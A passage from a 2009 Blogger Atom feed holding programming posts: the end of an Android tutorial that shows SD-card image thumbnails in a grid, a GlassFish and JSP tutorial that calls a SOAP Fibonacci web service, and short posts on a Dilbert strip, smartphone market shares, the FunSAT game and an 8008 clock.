cursor;&lt;br /&gt;    /*&lt;br /&gt;     * Column index for the Thumbnails Image IDs.&lt;br /&gt;     */&lt;br /&gt;    private int columnIndex;&lt;br /&gt;&lt;br /&gt;    @Override&lt;br /&gt;    public void onCreate(Bundle savedInstanceState) {&lt;br /&gt;        super.onCreate(savedInstanceState);&lt;br /&gt;        setContentView(R.layout.sdcard);&lt;br /&gt;&lt;br /&gt;        // Set up an array of the Thumbnail Image ID column we want&lt;br /&gt;        String[] projection = {MediaStore.Images.Thumbnails._ID};&lt;br /&gt;        // Create the cursor pointing to the SDCard&lt;br /&gt;        cursor = managedQuery( MediaStore.Images.Thumbnails.EXTERNAL_CONTENT_URI,&lt;br /&gt;                projection, // Which columns to return&lt;br /&gt;                null,       // Return all rows&lt;br /&gt;                null,&lt;br /&gt;                MediaStore.Images.Thumbnails.IMAGE_ID);&lt;br /&gt;        // Get the column index of the Thumbnails Image ID&lt;br /&gt;        columnIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Thumbnails._ID);&lt;br /&gt;&lt;br /&gt;        GridView sdcardImages = (GridView) findViewById(R.id.sdcard);&lt;br /&gt;        sdcardImages.setAdapter(new ImageAdapter(this));&lt;br /&gt;&lt;br /&gt;        // Set up a click listener&lt;br /&gt;        sdcardImages.setOnItemClickListener(new OnItemClickListener() {&lt;br /&gt;            public void onItemClick(AdapterView parent, View v, int position, long id) {&lt;br /&gt;                // Get the data location of the image&lt;br /&gt;                String[] projection = {MediaStore.Images.Media.DATA};&lt;br /&gt;                cursor = managedQuery( MediaStore.Images.Media.EXTERNAL_CONTENT_URI,&lt;br /&gt;                        projection, // Which columns to return&lt;br /&gt;                        null,       // Return all rows&lt;br /&gt;                        null,&lt;br /&gt;                        null);&lt;br /&gt;                columnIndex = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA);&lt;br /&gt;                cursor.moveToPosition(position);&lt;br /&gt;                // Get image filename&lt;br /&gt;                String imagePath = cursor.getString(columnIndex);&lt;br /&gt;                // Use this path to do further processing, i.e. full screen display&lt;br /&gt;            }&lt;br /&gt;        });&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * Adapter for our image files.&lt;br /&gt;     */&lt;br /&gt;    private class ImageAdapter extends BaseAdapter {&lt;br /&gt;&lt;br /&gt;        private Context context;&lt;br /&gt;&lt;br /&gt;        public ImageAdapter(Context localContext) {&lt;br /&gt;            context = localContext;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        public int getCount() {&lt;br /&gt;            return cursor.getCount();&lt;br /&gt;        }&lt;br /&gt;        public Object getItem(int position) {&lt;br /&gt;            return position;&lt;br /&gt;        }&lt;br /&gt;        public long getItemId(int position) {&lt;br /&gt;            return position;&lt;br /&gt;        }&lt;br /&gt;        public View getView(int position, View convertView, ViewGroup parent) {&lt;br /&gt;            ImageView picturesView;&lt;br /&gt;            if (convertView == null) {&lt;br /&gt;                picturesView = new ImageView(context);&lt;br /&gt;                // Move cursor to current position&lt;br /&gt;                cursor.moveToPosition(position);&lt;br /&gt;                // Get the current value for the requested column&lt;br /&gt;                int imageID = cursor.getInt(columnIndex);&lt;br /&gt;                // Set the content of the image based on the provided URI&lt;br /&gt;                picturesView.setImageURI(Uri.withAppendedPath(&lt;br /&gt;                        MediaStore.Images.Thumbnails.EXTERNAL_CONTENT_URI, "" + imageID));&lt;br /&gt;                picturesView.setScaleType(ImageView.ScaleType.FIT_CENTER);&lt;br /&gt;                picturesView.setPadding(8, 8, 8, 8);&lt;br /&gt;                picturesView.setLayoutParams(new GridView.LayoutParams(100, 100));&lt;br /&gt;            }&lt;br /&gt;            else {&lt;br /&gt;                picturesView = (ImageView)convertView;&lt;br /&gt;            }&lt;br /&gt;            return picturesView;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;The layout of the main activity is shown below:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;&amp;lt;?xml version="1.0" encoding="utf-8"?&amp;gt;&lt;br /&gt;&amp;lt;GridView xmlns:android="http://schemas.android.com/apk/res/android" &lt;br /&gt;    android:id="@+id/sdcard"&lt;br /&gt;    android:layout_width="fill_parent" &lt;br /&gt;    android:layout_height="fill_parent"&lt;br /&gt;    android:padding="10dp"&lt;br /&gt;    android:verticalSpacing="10dp"&lt;br /&gt;    android:horizontalSpacing="10dp"&lt;br /&gt;    android:numColumns="auto_fit"&lt;br /&gt;    android:columnWidth="90dp"&lt;br /&gt;    android:stretchMode="columnWidth"&lt;br /&gt;    android:gravity="center"&lt;br /&gt;/&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In order for this to work, you need to &lt;a href="http://www.anddev.org/emulating_a_sd-card-t263.html"&gt;emulate an SD card&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Enjoy!&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;UPDATE (October 19, 2009): In order to be bale to view thumbnails images from the SD Card, Android needs to create them first, hence you should start the Gallery application that comes preinstalled, and open the sdcard folder which will automatically create thumbnails for the images stored on your sdcard. This is a current shortcoming of the SDK that will be fixed in future releases (&lt;a href="http://groups.google.com/group/android-developers/browse_thread/thread/3f01b284e2537312/fa9487d19db4907e"&gt;http://groups.google.com/group/android-developers/browse_thread/thread/3f01b284e2537312/fa9487d19db4907e&lt;/a&gt;).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;UPDATE (October 07, 2009): For some reason, if you use &lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;MediaStore.Images.Thumbnails.IMAGE_ID&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;like in the previous version of the above code, the images are not &lt;i&gt;always&lt;/i&gt; displayed on the screen. Changing to &lt;br /&gt;&lt;/div&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;MediaStore.Images.Thumbnails._ID&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;seems to solve the problem. I will look more into why and get back to you.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Furthermore, some images have the wrong path attached to them.&amp;nbsp; I changed the creation of the cursor object from &lt;br /&gt;&lt;/div&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;cursor = managedQuery( MediaStore.Images.Thumbnails.EXTERNAL_CONTENT_URI,&lt;br /&gt;projection, // Which columns to return&lt;br /&gt;null,       // Return all rows&lt;br /&gt;null,&lt;br /&gt;null);&lt;br /&gt;&lt;/pre&gt;to&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;cursor = managedQuery( MediaStore.Images.Thumbnails.EXTERNAL_CONTENT_URI,&lt;br /&gt;projection, // Which columns to return&lt;br /&gt;null,       // Return all rows&lt;br /&gt;null,&lt;br /&gt;MediaStore.Images.Thumbnails.IMAGE_ID);&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-7934106266769226316?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/7934106266769226316/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=7934106266769226316' title='51 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7934106266769226316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7934106266769226316'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/09/displaying-images-from-sd-card-in.html' title='Displaying images from SD card in Android'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>51</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-8145753725623811048</id><published>2009-09-16T12:30:00.004-04:00</published><updated>2009-09-22T15:26:55.120-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Comic Strip'/><title type='text'>Dilbert comic strip - Sep 11, 2009</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a href="http://dilbert.com/strips/comic/2009-09-11/" title="Dilbert.com"&gt;&lt;img src="http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/60000/7000/200/67294/67294.strip.gif" alt="Dilbert.com" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;You got to have a sense of humor to enjoy this, especially in this hard economic times.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-8145753725623811048?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/8145753725623811048/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=8145753725623811048' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/8145753725623811048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/8145753725623811048'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/09/dilbert-comic-strip-sep-11-2009.html' title='Dilbert comic strip - Sep 11, 2009'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4115342727127865050</id><published>2009-08-27T16:33:00.014-04:00</published><updated>2009-11-13T11:13:26.537-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Smartphones'/><title type='text'>Global smartphone market shares</title><content type='html'>&lt;div style="text-align: justify;"&gt;From the data findings by analyst company &lt;a href="http://www.canalys.com/pr/2009/r2009081.htm"&gt;Canalys&lt;/a&gt;, while Nokia and Microsoft shares are decreasing, RIM and Apple are growing:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://www.canalys.com/pr/images/r2009081-6.gif" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://www.canalys.com/pr/images/r2009081-6.gif" style="cursor: pointer; display: block; height: 235px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The above stats are based on the number of units shipped during Q2 of 2009. The iPhone 3G was not yet out when the data was gathered. Android-based smartphones where not available in the second quarter of 2008. By this time next year, Android will be much closer to Microsoft's share.  Nokia just came out with its &lt;a href="http://maemo.org/"&gt;Maemo&lt;/a&gt;-based smartphone, the N900. Moving more towards Maemo rather than hanging on to Symbian might actually work out pretty well for Nokia in the end.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4115342727127865050?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4115342727127865050/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4115342727127865050' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4115342727127865050'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4115342727127865050'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/08/global-smartphone-market-shares.html' title='Global smartphone market shares'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4049319839625785429</id><published>2009-08-27T09:40:00.009-04:00</published><updated>2009-11-13T11:13:48.970-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Science'/><category scheme='http://www.blogger.com/atom/ns#' term='Electronics'/><category scheme='http://www.blogger.com/atom/ns#' term='IEEE Spectrum'/><title type='text'>Satisfiability Problems Online Game</title><content type='html'>&lt;div style="text-align: justify;"&gt;There's an article in the IEEE Spectrum regarding &lt;a href="http://spectrum.ieee.org/semiconductors/design/crowdsourcing-the-complexities-of-electronic"&gt;Crowdsourcing the Complexities of Electronic Design Automation&lt;/a&gt;, which talks about a game called &lt;a href="http://funsat.eecs.umich.edu/"&gt;FunSAT&lt;/a&gt; that could benefit chip makers in improving their designs. Humans can help at this stage because these kind of problems are difficult for computers to solve. The game simulates satisfiability problems (&lt;a href="http://en.wikipedia.org/wiki/Boolean_satisfiability_problem"&gt;SAT&lt;/a&gt;s), and presents the user with a set of buttons and bubbles, where the buttons can have a value of true, false, or unassigned, and the bubbles, which represent clauses, can be satisfied, unsatisfied, or undetermined. The goal is to turn all bubbles green. For a bubble to turn green, at least one of the literals in the corresponding clause must be true. If all of the literals are false, the bubble will turn red; otherwise, it will be gray.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Why are satisfiability problems important? Because they aid in the design verification stage of chip design. "For example, they are used to find out what input combinations result in exposing a potential bug in the design. If no such combination exists, then the designers don’t have to worry about that particular bug."&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"Modern satisfiability solvers tend to prioritize and limit their searches to a few paths that look promising. By using this method, however, they don’t always find the best configuration. What humans lack in brute-force speed, they tend to make up for with pattern recognition and intuition—the ability to know a good move without being able to explain why it’s good. And, most important, they like to play games."&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4049319839625785429?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4049319839625785429/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4049319839625785429' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4049319839625785429'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4049319839625785429'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/08/satisfiability-problems-online-game.html' title='Satisfiability Problems Online Game'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-2384037261363506276</id><published>2009-08-21T09:35:00.073-04:00</published><updated>2010-03-03T14:47:54.904-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='GlassFish'/><category scheme='http://www.blogger.com/atom/ns#' term='JSP'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Services'/><category scheme='http://www.blogger.com/atom/ns#' term='HTML'/><category scheme='http://www.blogger.com/atom/ns#' term='Application Server'/><title type='text'>Invoke a Web Service from JSP</title><content type='html'>&lt;div style="text-align: justify;"&gt;This tutorial is a small example on how to call a SOAP-based Web Service from a browser-based client (using HTML and JSP). As an application server, we will use &lt;a href="https://glassfish.dev.java.net/"&gt;GlassFish&lt;/a&gt;. When you download GlassFish, make sure you use the &lt;span style="font-style: italic;"&gt;preview&lt;/span&gt; version for this tutorial.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The example takes a number as its input and computes the corresponding Fibonacci number. We will start with the Web Service:&lt;/div&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;package blog.webservice;&lt;br /&gt;&lt;br /&gt;import javax.jws.WebMethod;&lt;br /&gt;import javax.jws.WebService;&lt;br /&gt;&lt;br /&gt;@WebService&lt;br /&gt;public class FibonacciNumber {&lt;br /&gt;&lt;br /&gt;@WebMethod&lt;br /&gt;public int fibNum(int n) {&lt;br /&gt;int first = 1, fib = 1;&lt;br /&gt;for (int i = 3; i &amp;lt;= n; i++) {&lt;br /&gt;int temp = first + fib;         &lt;br /&gt;first = fib;         &lt;br /&gt;fib = temp;         &lt;br /&gt;}     &lt;br /&gt;return fib;     &lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;After compilation of the above code, you take the resulting class file and copy it to the &lt;span style="font-style: italic;"&gt;blog/WEB-INF/classes/blog/webservice&lt;/span&gt; directory. Next step is to package the WEB-INF directory into a WAR file for deployment by executing the following command:&lt;/div&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;% jar cvf fib.war WEB-INF&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The WAR is then copied to &lt;span style="font-style: italic;"&gt;GLASSFISH_HOME/domains/domain1/autodeploy&lt;/span&gt;, where GLASSFISH_HOME points to the GlassFish install directory. If the deployment succeeds, a second file named fib.war_deployed appears in a few seconds in the autodeploy directory.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The good part about GlassFish is that you do not need to manually (using wsgen) generate the &lt;a href="https://jaxb.dev.java.net/"&gt;JAX-B&lt;/a&gt; artifacts that the service requires, because the current &lt;a href="https://metro.dev.java.net/"&gt;Metro&lt;/a&gt; web services stack release  ships with GlassFish, automatically generating these artifacts. The &lt;a href="http://www.w3.org/TR/wsdl20/"&gt;WSDL&lt;/a&gt; file is also automatically generated and will be used on the client side as described in one of the sections below.&lt;br /&gt;&lt;br /&gt;To generate the client-side artifacts (client.FibonacciNumber, client.FibonacciNumberService, etc), we will use wsimport on the wsdl file generated aytomatically by GlassFish:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;wsimport -keep -p client http://localhost:8080/fib/FibonacciNumberService?wsdl&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Next step is writing the client-side code, namely the HTML page, two JSP pages, and one xml configuration file.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The HTML page is simple and straightforward:&lt;/div&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;form method = 'POST' action = 'fib.jsp'&amp;gt;&lt;br /&gt;Input number for Fibonacci: &amp;lt;input type = 'text' name = 'inputNumber'&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;hr/&amp;gt;&lt;br /&gt;&amp;lt;input type = 'submit' value = ' Get Fibonacci '/&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The actual JSP that will invoke the FibonacciNumber web service is below:&lt;/div&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&amp;lt;%@ page errorPage = 'errors.jsp' %&amp;gt;&lt;br /&gt;&amp;lt;%@ page import = "client.FibonacciNumber" %&amp;gt;&lt;br /&gt;&amp;lt;%@ page import = "client.FibonacciNumberService" %&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;%! private int fibNo, temp; %&amp;gt;&lt;br /&gt;&amp;lt;%&lt;br /&gt;String inputString = request.getParameter("inputNumber");&lt;br /&gt;if (inputString != null) {&lt;br /&gt;temp = Integer.parseInt(inputString.trim());&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;FibonacciNumberService service =  new FibonacciNumberService();&lt;br /&gt;FibonacciNumber port = service.getFibonacciNumberPort();&lt;br /&gt;fibNo = port.fibNum(temp);&lt;br /&gt;&lt;br /&gt;%&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;fib(&amp;lt;%= temp %&amp;gt;) = &amp;lt;%= fibNo %&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&amp;lt;a href = 'index.html'&amp;gt;Try another number&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Of course, clients should not see such messages displayed in the browser. Consider this error page more for the developer.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The web.xml deployment document is:&lt;/div&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&amp;lt;?xml version = '1.0' encoding = 'UTF-8'?&amp;gt;&lt;br /&gt;&amp;lt;web-app xmlns = 'http://java.sun.com/xml/ns/javaee'&lt;br /&gt;xmlns:xsi = 'http://www.w3.org/2001/XMLSchema-instance'&lt;br /&gt;xsi:schemaLocation = 'http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd'&lt;br /&gt;version = '2.5'&amp;gt;&lt;br /&gt;&amp;lt;error-page&amp;gt;&lt;br /&gt;&amp;lt;exception-type&amp;gt;java.lang.NumberFormatException&amp;lt;/exception-type&amp;gt;&lt;br /&gt;&amp;lt;location&amp;gt;/errors.jsp&amp;lt;/location&amp;gt;&lt;br /&gt;&amp;lt;/error-page&amp;gt;&lt;br /&gt;&amp;lt;welcome-file-list&amp;gt;&lt;br /&gt;&amp;lt;welcome-file&amp;gt;index.html&amp;lt;/welcome-file&amp;gt;&lt;br /&gt;&amp;lt;/welcome-file-list&amp;gt;&lt;br /&gt;&amp;lt;/web-app&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Any input to the HTML that is not a number will be caught and an error message will be displayed through the errors.jsp page.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Once we have all the files, we package them into a WAR:&lt;/div&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;jar cvf fibClient.war *.html *.jsp WEB-INF&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;and deploy it the same way as we did with fib.war.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;For testing, open the &lt;a href="http://localhost:8080/fibClient/"&gt;http://localhost:8080/fibClient/&lt;/a&gt; URL in your favorite browser.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-2384037261363506276?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/2384037261363506276/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=2384037261363506276' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2384037261363506276'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2384037261363506276'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/08/invoke-web-service-from-jsp.html' title='Invoke a Web Service from JSP'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-699260281490455977</id><published>2009-07-27T16:37:00.006-04:00</published><updated>2009-11-13T11:15:32.586-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Embedded'/><title type='text'>Building a digital clock with the 8008 microprocessor</title><content type='html'>&lt;div style="text-align: justify;"&gt;Ever wondered how to design and build a clock on a Intel 8008 8 bit microprocessor? What logic is required? See &lt;a href="http://www.blogger.com/Building%20an%20Intel%208008%20Computer%20%22Clock%22"&gt;Building an Intel 8008 Computer "Clock"&lt;/a&gt; for details on design, software, and hardware involved. My logic design skills are a bit rusty, maybe yours are better, so you will fully appreciate the insights.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-699260281490455977?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/699260281490455977/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=699260281490455977' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/699260281490455977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/699260281490455977'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/07/building-digital-clock-with-8008.html' title='Building a digital clock with the 8008 microprocessor'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-9117222983460958647</id><published>2009-07-21T18:54:00.007-04:00</published><updated>2009-11-13T11:15:46.988-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' 